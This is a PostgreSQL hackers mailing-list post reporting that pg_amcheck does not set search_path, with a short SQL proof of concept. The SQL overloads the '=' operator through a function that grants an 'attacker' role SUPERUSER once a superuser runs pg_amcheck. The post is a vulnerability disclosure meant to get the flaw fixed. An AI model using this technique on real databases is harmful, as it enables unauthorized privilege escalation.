MIME-Version: 1.0
From: Pavel Borisov <pashkin.elfe@gmail.com>
Date: Fri, 22 May 2026 16:39:33 +0400
Message-ID: 
 <CALT9ZEGFBCzNJbWAt_GNowUwmswXLShB2q6DjcS5pZ56qKMWaQ@mail.gmail.com>
Subject: Permission elevation by pg_amcheck operator overloading via
 search_path possible?
To: Postgres hackers <pgsql-hackers@lists.postgresql.org>
Content-Type: text/plain; charset="UTF-8"
Archived-At: 
 <https://www.postgresql.org/message-id/CALT9ZEGFBCzNJbWAt_GNowUwmswXLShB2q6DjcS5pZ56qKMWaQ%40mail.gmail.com>
Precedence: bulk

Hi, hackers!

As I see pg_amcheck doesn't set search_path.

It runs SQL queries like:
SELECT n.nspname, x.extversion FROM pg_catalog.pg_extension x JOIN
pg_catalog.pg_namespace n ON x.extnamespace = n.oid WHERE x.extname =
'amcheck'

Let's suppose search_path for database is set:
 search_path = 'myschema, pg_catalog'
Then
CREATE FUNCTION myschema.evil(name, name) RETURNS bool AS $$
    ALTER USER attacker WITH SUPERUSER;
    SELECT $1 OPERATOR(pg_catalog.=) $2;
  $$ LANGUAGE sql;
  CREATE OPERATOR myschema.= (LEFTARG = name, RIGHTARG = name,
PROCEDURE = myschema.evil);
Then run pg_amcheck as superuser.

So the user attacker can become SUPERUSER.

Is this scenario worth fixing?

Regards,
Pavel Borisov
Supabase